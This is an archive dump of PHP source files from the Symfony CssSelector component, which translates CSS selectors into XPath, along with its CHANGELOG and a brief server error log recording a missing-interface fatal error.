"psr-4": { "Symfony\\Component\\CssSelector\\": "" }, "exclude-from-classmap": [ "/Tests/" ] }, "minimum-stability": "dev" } css-selector/XPath/TranslatorInterface.php000064400000001773151113511460014667 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\XPath; use Symfony\Component\CssSelector\Node\SelectorNode; /** * XPath expression translator interface. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon * * @internal */ interface TranslatorInterface { /** * Translates a CSS selector to an XPath expression. */ public function cssToXPath(string $cssExpr, string $prefix = 'descendant-or-self::'): string; /** * Translates a parsed selector node to an XPath expression. */ public function selectorToXPath(SelectorNode $selector, string $prefix = 'descendant-or-self::'): string; } css-selector/XPath/XPathExpr.php000064400000004725151113511460012600 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\XPath; /** * XPath expression translator interface. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon * * @internal */ class XPathExpr { private string $path; private string $element; private string $condition; public function __construct(string $path = '', string $element = '*', string $condition = '', bool $starPrefix = false) { $this->path = $path; $this->element = $element; $this->condition = $condition; if ($starPrefix) { $this->addStarPrefix(); } } public function getElement(): string { return $this->element; } /** * @return $this */ public function addCondition(string $condition): static { $this->condition = $this->condition ? sprintf('(%s) and (%s)', $this->condition, $condition) : $condition; return $this; } public function getCondition(): string { return $this->condition; } /** * @return $this */ public function addNameTest(): static { if ('*' !== $this->element) { $this->addCondition('name() = '.Translator::getXpathLiteral($this->element)); $this->element = '*'; } return $this; } /** * @return $this */ public function addStarPrefix(): static { $this->path .= '*/'; return $this; } /** * Joins another XPathExpr with a combiner. * * @return $this */ public function join(string $combiner, self $expr): static { $path = $this->__toString().$combiner; if ('*/' !== $expr->path) { $path .= $expr->path; } $this->path = $path; $this->element = $expr->element; $this->condition = $expr->condition; return $this; } public function __toString(): string { $path = $this->path.$this->element; $condition = null === $this->condition || '' === $this->condition ? '' : '['.$this->condition.']'; return $path.$condition; } } css-selector/XPath/Extension/HtmlExtension.php000064400000013260151113511460015464 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\XPath\Extension; use Symfony\Component\CssSelector\Exception\ExpressionErrorException; use Symfony\Component\CssSelector\Node\FunctionNode; use Symfony\Component\CssSelector\XPath\Translator; use Symfony\Component\CssSelector\XPath\XPathExpr; /** * XPath expression translator HTML extension. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon * * @internal */ class HtmlExtension extends AbstractExtension { public function __construct(Translator $translator) { $translator ->getExtension('node') ->setFlag(NodeExtension::ELEMENT_NAME_IN_LOWER_CASE, true) ->setFlag(NodeExtension::ATTRIBUTE_NAME_IN_LOWER_CASE, true); } public function getPseudoClassTranslators(): array { return [ 'checked' => $this->translateChecked(...), 'link' => $this->translateLink(...), 'disabled' => $this->translateDisabled(...), 'enabled' => $this->translateEnabled(...), 'selected' => $this->translateSelected(...), 'invalid' => $this->translateInvalid(...), 'hover' => $this->translateHover(...), 'visited' => $this->translateVisited(...), ]; } public function getFunctionTranslators(): array { return [ 'lang' => $this->translateLang(...), ]; } public function translateChecked(XPathExpr $xpath): XPathExpr { return $xpath->addCondition( '(@checked ' ."and (name(.) = 'input' or name(.) = 'command')" ."and (@type = 'checkbox' or @type = 'radio'))" ); } public function translateLink(XPathExpr $xpath): XPathExpr { return $xpath->addCondition("@href and (name(.) = 'a' or name(.) = 'link' or name(.) = 'area')"); } public function translateDisabled(XPathExpr $xpath): XPathExpr { return $xpath->addCondition( '(' .'@disabled and' .'(' ."(name(.) = 'input' and @type != 'hidden')" ." or name(.) = 'button'" ." or name(.) = 'select'" ." or name(.) = 'textarea'" ." or name(.) = 'command'" ." or name(.) = 'fieldset'" ." or name(.) = 'optgroup'" ." or name(.) = 'option'" .')' .') or (' ."(name(.) = 'input' and @type != 'hidden')" ." or name(.) = 'button'" ." or name(.) = 'select'" ." or name(.) = 'textarea'" .')' .' and ancestor::fieldset[@disabled]' ); // todo: in the second half, add "and is not a descendant of that fieldset element's first legend element child, if any." } public function translateEnabled(XPathExpr $xpath): XPathExpr { return $xpath->addCondition( '(' .'@href and (' ."name(.) = 'a'" ." or name(.) = 'link'" ." or name(.) = 'area'" .')' .') or (' .'(' ."name(.) = 'command'" ." or name(.) = 'fieldset'" ." or name(.) = 'optgroup'" .')' .' and not(@disabled)' .') or (' .'(' ."(name(.) = 'input' and @type != 'hidden')" ." or name(.) = 'button'" ." or name(.) = 'select'" ." or name(.) = 'textarea'" ." or name(.) = 'keygen'" .')' .' and not (@disabled or ancestor::fieldset[@disabled])' .') or (' ."name(.) = 'option' and not(" .'@disabled or ancestor::optgroup[@disabled]' .')' .')' ); } /** * @throws ExpressionErrorException */ public function translateLang(XPathExpr $xpath, FunctionNode $function): XPathExpr { $arguments = $function->getArguments(); foreach ($arguments as $token) { if (!($token->isString() || $token->isIdentifier())) { throw new ExpressionErrorException('Expected a single string or identifier for :lang(), got '.implode(', ', $arguments)); } } return $xpath->addCondition(sprintf( 'ancestor-or-self::*[@lang][1][starts-with(concat(' ."translate(@%s, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz'), '-')" .', %s)]', 'lang', Translator::getXpathLiteral(strtolower($arguments[0]->getValue()).'-') )); } public function translateSelected(XPathExpr $xpath): XPathExpr { return $xpath->addCondition("(@selected and name(.) = 'option')"); } public function translateInvalid(XPathExpr $xpath): XPathExpr { return $xpath->addCondition('0'); } public function translateHover(XPathExpr $xpath): XPathExpr { return $xpath->addCondition('0'); } public function translateVisited(XPathExpr $xpath): XPathExpr { return $xpath->addCondition('0'); } public function getName(): string { return 'html'; } } css-selector/XPath/Extension/CombinationExtension.php000064400000003517151113511460017026 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\XPath\Extension; use Symfony\Component\CssSelector\XPath\XPathExpr; /** * XPath expression translator combination extension. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon * * @internal */ class CombinationExtension extends AbstractExtension { public function getCombinationTranslators(): array { return [ ' ' => $this->translateDescendant(...), '>' => $this->translateChild(...), '+' => $this->translateDirectAdjacent(...), '~' => $this->translateIndirectAdjacent(...), ]; } public function translateDescendant(XPathExpr $xpath, XPathExpr $combinedXpath): XPathExpr { return $xpath->join('/descendant-or-self::*/', $combinedXpath); } public function translateChild(XPathExpr $xpath, XPathExpr $combinedXpath): XPathExpr { return $xpath->join('/', $combinedXpath); } public function translateDirectAdjacent(XPathExpr $xpath, XPathExpr $combinedXpath): XPathExpr { return $xpath ->join('/following-sibling::', $combinedXpath) ->addNameTest() ->addCondition('position() = 1'); } public function translateIndirectAdjacent(XPathExpr $xpath, XPathExpr $combinedXpath): XPathExpr { return $xpath->join('/following-sibling::', $combinedXpath); } public function getName(): string { return 'combination'; } } css-selector/XPath/Extension/PseudoClassExtension.php000064400000006711151113511460017010 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\XPath\Extension; use Symfony\Component\CssSelector\Exception\ExpressionErrorException; use Symfony\Component\CssSelector\XPath\XPathExpr; /** * XPath expression translator pseudo-class extension. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon * * @internal */ class PseudoClassExtension extends AbstractExtension { public function getPseudoClassTranslators(): array { return [ 'root' => $this->translateRoot(...), 'scope' => $this->translateScopePseudo(...), 'first-child' => $this->translateFirstChild(...), 'last-child' => $this->translateLastChild(...), 'first-of-type' => $this->translateFirstOfType(...), 'last-of-type' => $this->translateLastOfType(...), 'only-child' => $this->translateOnlyChild(...), 'only-of-type' => $this->translateOnlyOfType(...), 'empty' => $this->translateEmpty(...), ]; } public function translateRoot(XPathExpr $xpath): XPathExpr { return $xpath->addCondition('not(parent::*)'); } public function translateScopePseudo(XPathExpr $xpath): XPathExpr { return $xpath->addCondition('1'); } public function translateFirstChild(XPathExpr $xpath): XPathExpr { return $xpath ->addStarPrefix() ->addNameTest() ->addCondition('position() = 1'); } public function translateLastChild(XPathExpr $xpath): XPathExpr { return $xpath ->addStarPrefix() ->addNameTest() ->addCondition('position() = last()'); } /** * @throws ExpressionErrorException */ public function translateFirstOfType(XPathExpr $xpath): XPathExpr { if ('*' === $xpath->getElement()) { throw new ExpressionErrorException('"*:first-of-type" is not implemented.'); } return $xpath ->addStarPrefix() ->addCondition('position() = 1'); } /** * @throws ExpressionErrorException */ public function translateLastOfType(XPathExpr $xpath): XPathExpr { if ('*' === $xpath->getElement()) { throw new ExpressionErrorException('"*:last-of-type" is not implemented.'); } return $xpath ->addStarPrefix() ->addCondition('position() = last()'); } public function translateOnlyChild(XPathExpr $xpath): XPathExpr { return $xpath ->addStarPrefix() ->addNameTest() ->addCondition('last() = 1'); } public function translateOnlyOfType(XPathExpr $xpath): XPathExpr { $element = $xpath->getElement(); return $xpath->addCondition(sprintf('count(preceding-sibling::%s)=0 and count(following-sibling::%s)=0', $element, $element)); } public function translateEmpty(XPathExpr $xpath): XPathExpr { return $xpath->addCondition('not(*) and not(string-length())'); } public function getName(): string { return 'pseudo-class'; } } css-selector/XPath/Extension/AbstractExtension.php000064400000002074151113511460016324 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\XPath\Extension; /** * XPath expression translator abstract extension. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon * * @internal */ abstract class AbstractExtension implements ExtensionInterface { public function getNodeTranslators(): array { return []; } public function getCombinationTranslators(): array { return []; } public function getFunctionTranslators(): array { return []; } public function getPseudoClassTranslators(): array { return []; } public function getAttributeMatchingTranslators(): array { return []; } } css-selector/XPath/Extension/ExtensionInterface.php000064400000003005151113511460016454 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\XPath\Extension; /** * XPath expression translator extension interface. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon * * @internal */ interface ExtensionInterface { /** * Returns node translators. * * These callables will receive the node as first argument and the translator as second argument. * * @return callable[] */ public function getNodeTranslators(): array; /** * Returns combination translators. * * @return callable[] */ public function getCombinationTranslators(): array; /** * Returns function translators. * * @return callable[] */ public function getFunctionTranslators(): array; /** * Returns pseudo-class translators. * * @return callable[] */ public function getPseudoClassTranslators(): array; /** * Returns attribute operation translators. * * @return callable[] */ public function getAttributeMatchingTranslators(): array; /** * Returns extension name. */ public function getName(): string; } css-selector/XPath/Extension/FunctionExtension.php000064400000012050151113511460016341 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\XPath\Extension; use Symfony\Component\CssSelector\Exception\ExpressionErrorException; use Symfony\Component\CssSelector\Exception\SyntaxErrorException; use Symfony\Component\CssSelector\Node\FunctionNode; use Symfony\Component\CssSelector\Parser\Parser; use Symfony\Component\CssSelector\XPath\Translator; use Symfony\Component\CssSelector\XPath\XPathExpr; /** * XPath expression translator function extension. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon * * @internal */ class FunctionExtension extends AbstractExtension { public function getFunctionTranslators(): array { return [ 'nth-child' => $this->translateNthChild(...), 'nth-last-child' => $this->translateNthLastChild(...), 'nth-of-type' => $this->translateNthOfType(...), 'nth-last-of-type' => $this->translateNthLastOfType(...), 'contains' => $this->translateContains(...), 'lang' => $this->translateLang(...), ]; } /** * @throws ExpressionErrorException */ public function translateNthChild(XPathExpr $xpath, FunctionNode $function, bool $last = false, bool $addNameTest = true): XPathExpr { try { [$a, $b] = Parser::parseSeries($function->getArguments()); } catch (SyntaxErrorException $e) { throw new ExpressionErrorException(sprintf('Invalid series: "%s".', implode('", "', $function->getArguments())), 0, $e); } $xpath->addStarPrefix(); if ($addNameTest) { $xpath->addNameTest(); } if (0 === $a) { return $xpath->addCondition('position() = '.($last ? 'last() - '.($b - 1) : $b)); } if ($a < 0) { if ($b < 1) { return $xpath->addCondition('false()'); } $sign = '<='; } else { $sign = '>='; } $expr = 'position()'; if ($last) { $expr = 'last() - '.$expr; --$b; } if (0 !== $b) { $expr .= ' - '.$b; } $conditions = [sprintf('%s %s 0', $expr, $sign)]; if (1 !== $a && -1 !== $a) { $conditions[] = sprintf('(%s) mod %d = 0', $expr, $a); } return $xpath->addCondition(implode(' and ', $conditions)); // todo: handle an+b, odd, even // an+b means every-a, plus b, e.g., 2n+1 means odd // 0n+b means b // n+0 means a=1, i.e., all elements // an means every a elements, i.e., 2n means even // -n means -1n // -1n+6 means elements 6 and previous } public function translateNthLastChild(XPathExpr $xpath, FunctionNode $function): XPathExpr { return $this->translateNthChild($xpath, $function, true); } public function translateNthOfType(XPathExpr $xpath, FunctionNode $function): XPathExpr { return $this->translateNthChild($xpath, $function, false, false); } /** * @throws ExpressionErrorException */ public function translateNthLastOfType(XPathExpr $xpath, FunctionNode $function): XPathExpr { if ('*' === $xpath->getElement()) { throw new ExpressionErrorException('"*:nth-of-type()" is not implemented.'); } return $this->translateNthChild($xpath, $function, true, false); } /** * @throws ExpressionErrorException */ public function translateContains(XPathExpr $xpath, FunctionNode $function): XPathExpr { $arguments = $function->getArguments(); foreach ($arguments as $token) { if (!($token->isString() || $token->isIdentifier())) { throw new ExpressionErrorException('Expected a single string or identifier for :contains(), got '.implode(', ', $arguments)); } } return $xpath->addCondition(sprintf( 'contains(string(.), %s)', Translator::getXpathLiteral($arguments[0]->getValue()) )); } /** * @throws ExpressionErrorException */ public function translateLang(XPathExpr $xpath, FunctionNode $function): XPathExpr { $arguments = $function->getArguments(); foreach ($arguments as $token) { if (!($token->isString() || $token->isIdentifier())) { throw new ExpressionErrorException('Expected a single string or identifier for :lang(), got '.implode(', ', $arguments)); } } return $xpath->addCondition(sprintf( 'lang(%s)', Translator::getXpathLiteral($arguments[0]->getValue()) )); } public function getName(): string { return 'function'; } } css-selector/XPath/Extension/NodeExtension.php000064400000013300151113511460015440 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\XPath\Extension; use Symfony\Component\CssSelector\Node; use Symfony\Component\CssSelector\XPath\Translator; use Symfony\Component\CssSelector\XPath\XPathExpr; /** * XPath expression translator node extension. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon * * @internal */ class NodeExtension extends AbstractExtension { public const ELEMENT_NAME_IN_LOWER_CASE = 1; public const ATTRIBUTE_NAME_IN_LOWER_CASE = 2; public const ATTRIBUTE_VALUE_IN_LOWER_CASE = 4; private int $flags; public function __construct(int $flags = 0) { $this->flags = $flags; } /** * @return $this */ public function setFlag(int $flag, bool $on): static { if ($on && !$this->hasFlag($flag)) { $this->flags += $flag; } if (!$on && $this->hasFlag($flag)) { $this->flags -= $flag; } return $this; } public function hasFlag(int $flag): bool { return (bool) ($this->flags & $flag); } public function getNodeTranslators(): array { return [ 'Selector' => $this->translateSelector(...), 'CombinedSelector' => $this->translateCombinedSelector(...), 'Negation' => $this->translateNegation(...), 'Function' => $this->translateFunction(...), 'Pseudo' => $this->translatePseudo(...), 'Attribute' => $this->translateAttribute(...), 'Class' => $this->translateClass(...), 'Hash' => $this->translateHash(...), 'Element' => $this->translateElement(...), ]; } public function translateSelector(Node\SelectorNode $node, Translator $translator): XPathExpr { return $translator->nodeToXPath($node->getTree()); } public function translateCombinedSelector(Node\CombinedSelectorNode $node, Translator $translator): XPathExpr { return $translator->addCombination($node->getCombinator(), $node->getSelector(), $node->getSubSelector()); } public function translateNegation(Node\NegationNode $node, Translator $translator): XPathExpr { $xpath = $translator->nodeToXPath($node->getSelector()); $subXpath = $translator->nodeToXPath($node->getSubSelector()); $subXpath->addNameTest(); if ($subXpath->getCondition()) { return $xpath->addCondition(sprintf('not(%s)', $subXpath->getCondition())); } return $xpath->addCondition('0'); } public function translateFunction(Node\FunctionNode $node, Translator $translator): XPathExpr { $xpath = $translator->nodeToXPath($node->getSelector()); return $translator->addFunction($xpath, $node); } public function translatePseudo(Node\PseudoNode $node, Translator $translator): XPathExpr { $xpath = $translator->nodeToXPath($node->getSelector()); return $translator->addPseudoClass($xpath, $node->getIdentifier()); } public function translateAttribute(Node\AttributeNode $node, Translator $translator): XPathExpr { $name = $node->getAttribute(); $safe = $this->isSafeName($name); if ($this->hasFlag(self::ATTRIBUTE_NAME_IN_LOWER_CASE)) { $name = strtolower($name); } if ($node->getNamespace()) { $name = sprintf('%s:%s', $node->getNamespace(), $name); $safe = $safe && $this->isSafeName($node->getNamespace()); } $attribute = $safe ? '@'.$name : sprintf('attribute::*[name() = %s]', Translator::getXpathLiteral($name)); $value = $node->getValue(); $xpath = $translator->nodeToXPath($node->getSelector()); if ($this->hasFlag(self::ATTRIBUTE_VALUE_IN_LOWER_CASE)) { $value = strtolower($value); } return $translator->addAttributeMatching($xpath, $node->getOperator(), $attribute, $value); } public function translateClass(Node\ClassNode $node, Translator $translator): XPathExpr { $xpath = $translator->nodeToXPath($node->getSelector()); return $translator->addAttributeMatching($xpath, '~=', '@class', $node->getName()); } public function translateHash(Node\HashNode $node, Translator $translator): XPathExpr { $xpath = $translator->nodeToXPath($node->getSelector()); return $translator->addAttributeMatching($xpath, '=', '@id', $node->getId()); } public function translateElement(Node\ElementNode $node): XPathExpr { $element = $node->getElement(); if ($element && $this->hasFlag(self::ELEMENT_NAME_IN_LOWER_CASE)) { $element = strtolower($element); } if ($element) { $safe = $this->isSafeName($element); } else { $element = '*'; $safe = true; } if ($node->getNamespace()) { $element = sprintf('%s:%s', $node->getNamespace(), $element); $safe = $safe && $this->isSafeName($node->getNamespace()); } $xpath = new XPathExpr('', $element); if (!$safe) { $xpath->addNameTest(); } return $xpath; } public function getName(): string { return 'node'; } private function isSafeName(string $name): bool { return 0 < preg_match('~^[a-zA-Z_][a-zA-Z0-9_.-]*$~', $name); } } css-selector/XPath/Extension/AttributeMatchingExtension.php000064400000007254151113511460020204 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\XPath\Extension; use Symfony\Component\CssSelector\XPath\Translator; use Symfony\Component\CssSelector\XPath\XPathExpr; /** * XPath expression translator attribute extension. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon * * @internal */ class AttributeMatchingExtension extends AbstractExtension { public function getAttributeMatchingTranslators(): array { return [ 'exists' => $this->translateExists(...), '=' => $this->translateEquals(...), '~=' => $this->translateIncludes(...), '|=' => $this->translateDashMatch(...), '^=' => $this->translatePrefixMatch(...), '$=' => $this->translateSuffixMatch(...), '*=' => $this->translateSubstringMatch(...), '!=' => $this->translateDifferent(...), ]; } public function translateExists(XPathExpr $xpath, string $attribute, ?string $value): XPathExpr { return $xpath->addCondition($attribute); } public function translateEquals(XPathExpr $xpath, string $attribute, ?string $value): XPathExpr { return $xpath->addCondition(sprintf('%s = %s', $attribute, Translator::getXpathLiteral($value))); } public function translateIncludes(XPathExpr $xpath, string $attribute, ?string $value): XPathExpr { return $xpath->addCondition($value ? sprintf( '%1$s and contains(concat(\' \', normalize-space(%1$s), \' \'), %2$s)', $attribute, Translator::getXpathLiteral(' '.$value.' ') ) : '0'); } public function translateDashMatch(XPathExpr $xpath, string $attribute, ?string $value): XPathExpr { return $xpath->addCondition(sprintf( '%1$s and (%1$s = %2$s or starts-with(%1$s, %3$s))', $attribute, Translator::getXpathLiteral($value), Translator::getXpathLiteral($value.'-') )); } public function translatePrefixMatch(XPathExpr $xpath, string $attribute, ?string $value): XPathExpr { return $xpath->addCondition($value ? sprintf( '%1$s and starts-with(%1$s, %2$s)', $attribute, Translator::getXpathLiteral($value) ) : '0'); } public function translateSuffixMatch(XPathExpr $xpath, string $attribute, ?string $value): XPathExpr { return $xpath->addCondition($value ? sprintf( '%1$s and substring(%1$s, string-length(%1$s)-%2$s) = %3$s', $attribute, \strlen($value) - 1, Translator::getXpathLiteral($value) ) : '0'); } public function translateSubstringMatch(XPathExpr $xpath, string $attribute, ?string $value): XPathExpr { return $xpath->addCondition($value ? sprintf( '%1$s and contains(%1$s, %2$s)', $attribute, Translator::getXpathLiteral($value) ) : '0'); } public function translateDifferent(XPathExpr $xpath, string $attribute, ?string $value): XPathExpr { return $xpath->addCondition(sprintf( $value ? 'not(%1$s) or %1$s != %2$s' : '%s != %s', $attribute, Translator::getXpathLiteral($value) )); } public function getName(): string { return 'attribute-matching'; } } css-selector/XPath/error_log000064400000001316151113511460012112 0ustar00[25-Nov-2025 06:30:06 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\CssSelector\XPath\TranslatorInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/XPath/Translator.php:31 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/XPath/Translator.php on line 31 [26-Nov-2025 01:52:36 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\CssSelector\XPath\TranslatorInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/XPath/Translator.php:31 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/XPath/Translator.php on line 31 css-selector/XPath/Translator.php000064400000016213151113511460013041 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\XPath; use Symfony\Component\CssSelector\Exception\ExpressionErrorException; use Symfony\Component\CssSelector\Node\FunctionNode; use Symfony\Component\CssSelector\Node\NodeInterface; use Symfony\Component\CssSelector\Node\SelectorNode; use Symfony\Component\CssSelector\Parser\Parser; use Symfony\Component\CssSelector\Parser\ParserInterface; /** * XPath expression translator interface. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon * * @internal */ class Translator implements TranslatorInterface { private ParserInterface $mainParser; /** * @var ParserInterface[] */ private array $shortcutParsers = []; /** * @var Extension\ExtensionInterface[] */ private array $extensions = []; private array $nodeTranslators = []; private array $combinationTranslators = []; private array $functionTranslators = []; private array $pseudoClassTranslators = []; private array $attributeMatchingTranslators = []; public function __construct(ParserInterface $parser = null) { $this->mainParser = $parser ?? new Parser(); $this ->registerExtension(new Extension\NodeExtension()) ->registerExtension(new Extension\CombinationExtension()) ->registerExtension(new Extension\FunctionExtension()) ->registerExtension(new Extension\PseudoClassExtension()) ->registerExtension(new Extension\AttributeMatchingExtension()) ; } public static function getXpathLiteral(string $element): string { if (!str_contains($element, "'")) { return "'".$element."'"; } if (!str_contains($element, '"')) { return '"'.$element.'"'; } $string = $element; $parts = []; while (true) { if (false !== $pos = strpos($string, "'")) { $parts[] = sprintf("'%s'", substr($string, 0, $pos)); $parts[] = "\"'\""; $string = substr($string, $pos + 1); } else { $parts[] = "'$string'"; break; } } return sprintf('concat(%s)', implode(', ', $parts)); } public function cssToXPath(string $cssExpr, string $prefix = 'descendant-or-self::'): string { $selectors = $this->parseSelectors($cssExpr); /** @var SelectorNode $selector */ foreach ($selectors as $index => $selector) { if (null !== $selector->getPseudoElement()) { throw new ExpressionErrorException('Pseudo-elements are not supported.'); } $selectors[$index] = $this->selectorToXPath($selector, $prefix); } return implode(' | ', $selectors); } public function selectorToXPath(SelectorNode $selector, string $prefix = 'descendant-or-self::'): string { return ($prefix ?: '').$this->nodeToXPath($selector); } /** * @return $this */ public function registerExtension(Extension\ExtensionInterface $extension): static { $this->extensions[$extension->getName()] = $extension; $this->nodeTranslators = array_merge($this->nodeTranslators, $extension->getNodeTranslators()); $this->combinationTranslators = array_merge($this->combinationTranslators, $extension->getCombinationTranslators()); $this->functionTranslators = array_merge($this->functionTranslators, $extension->getFunctionTranslators()); $this->pseudoClassTranslators = array_merge($this->pseudoClassTranslators, $extension->getPseudoClassTranslators()); $this->attributeMatchingTranslators = array_merge($this->attributeMatchingTranslators, $extension->getAttributeMatchingTranslators()); return $this; } /** * @throws ExpressionErrorException */ public function getExtension(string $name): Extension\ExtensionInterface { if (!isset($this->extensions[$name])) { throw new ExpressionErrorException(sprintf('Extension "%s" not registered.', $name)); } return $this->extensions[$name]; } /** * @return $this */ public function registerParserShortcut(ParserInterface $shortcut): static { $this->shortcutParsers[] = $shortcut; return $this; } /** * @throws ExpressionErrorException */ public function nodeToXPath(NodeInterface $node): XPathExpr { if (!isset($this->nodeTranslators[$node->getNodeName()])) { throw new ExpressionErrorException(sprintf('Node "%s" not supported.', $node->getNodeName())); } return $this->nodeTranslators[$node->getNodeName()]($node, $this); } /** * @throws ExpressionErrorException */ public function addCombination(string $combiner, NodeInterface $xpath, NodeInterface $combinedXpath): XPathExpr { if (!isset($this->combinationTranslators[$combiner])) { throw new ExpressionErrorException(sprintf('Combiner "%s" not supported.', $combiner)); } return $this->combinationTranslators[$combiner]($this->nodeToXPath($xpath), $this->nodeToXPath($combinedXpath)); } /** * @throws ExpressionErrorException */ public function addFunction(XPathExpr $xpath, FunctionNode $function): XPathExpr { if (!isset($this->functionTranslators[$function->getName()])) { throw new ExpressionErrorException(sprintf('Function "%s" not supported.', $function->getName())); } return $this->functionTranslators[$function->getName()]($xpath, $function); } /** * @throws ExpressionErrorException */ public function addPseudoClass(XPathExpr $xpath, string $pseudoClass): XPathExpr { if (!isset($this->pseudoClassTranslators[$pseudoClass])) { throw new ExpressionErrorException(sprintf('Pseudo-class "%s" not supported.', $pseudoClass)); } return $this->pseudoClassTranslators[$pseudoClass]($xpath); } /** * @throws ExpressionErrorException */ public function addAttributeMatching(XPathExpr $xpath, string $operator, string $attribute, ?string $value): XPathExpr { if (!isset($this->attributeMatchingTranslators[$operator])) { throw new ExpressionErrorException(sprintf('Attribute matcher operator "%s" not supported.', $operator)); } return $this->attributeMatchingTranslators[$operator]($xpath, $attribute, $value); } /** * @return SelectorNode[] */ private function parseSelectors(string $css): array { foreach ($this->shortcutParsers as $shortcut) { $tokens = $shortcut->parse($css); if ($tokens) { return $tokens; } } return $this->mainParser->parse($css); } } css-selector/CHANGELOG.md000064400000000442151113511460010761 0ustar00CHANGELOG ========= 6.3 ----- * Add support for `:scope` 4.4.0 ----- * Added support for `*:only-of-type` 2.8.0 ----- * Added the `CssSelectorConverter` class as a non-static API for the component. * Deprecated the `CssSelector` static API of the component. 2.1.0 ----- * none css-selector/Node/NodeInterface.php000064400000001313151113511460013252 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\Node; /** * Interface for nodes. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon * * @internal */ interface NodeInterface { public function getNodeName(): string; public function getSpecificity(): Specificity; public function __toString(): string; } css-selector/Node/AttributeNode.php000064400000004123151113511460013317 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\Node; /** * Represents a "[| ]" node. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon * * @internal */ class AttributeNode extends AbstractNode { private NodeInterface $selector; private ?string $namespace; private string $attribute; private string $operator; private ?string $value; public function __construct(NodeInterface $selector, ?string $namespace, string $attribute, string $operator, ?string $value) { $this->selector = $selector; $this->namespace = $namespace; $this->attribute = $attribute; $this->operator = $operator; $this->value = $value; } public function getSelector(): NodeInterface { return $this->selector; } public function getNamespace(): ?string { return $this->namespace; } public function getAttribute(): string { return $this->attribute; } public function getOperator(): string { return $this->operator; } public function getValue(): ?string { return $this->value; } public function getSpecificity(): Specificity { return $this->selector->getSpecificity()->plus(new Specificity(0, 1, 0)); } public function __toString(): string { $attribute = $this->namespace ? $this->namespace.'|'.$this->attribute : $this->attribute; return 'exists' === $this->operator ? sprintf('%s[%s[%s]]', $this->getNodeName(), $this->selector, $attribute) : sprintf("%s[%s[%s %s '%s']]", $this->getNodeName(), $this->selector, $attribute, $this->operator, $this->value); } } css-selector/Node/FunctionNode.php000064400000003370151113511460013144 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\Node; use Symfony\Component\CssSelector\Parser\Token; /** * Represents a ":()" node. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon * * @internal */ class FunctionNode extends AbstractNode { private NodeInterface $selector; private string $name; private array $arguments; /** * @param Token[] $arguments */ public function __construct(NodeInterface $selector, string $name, array $arguments = []) { $this->selector = $selector; $this->name = strtolower($name); $this->arguments = $arguments; } public function getSelector(): NodeInterface { return $this->selector; } public function getName(): string { return $this->name; } /** * @return Token[] */ public function getArguments(): array { return $this->arguments; } public function getSpecificity(): Specificity { return $this->selector->getSpecificity()->plus(new Specificity(0, 1, 0)); } public function __toString(): string { $arguments = implode(', ', array_map(fn (Token $token) => "'".$token->getValue()."'", $this->arguments)); return sprintf('%s[%s:%s(%s)]', $this->getNodeName(), $this->selector, $this->name, $arguments ? '['.$arguments.']' : ''); } } 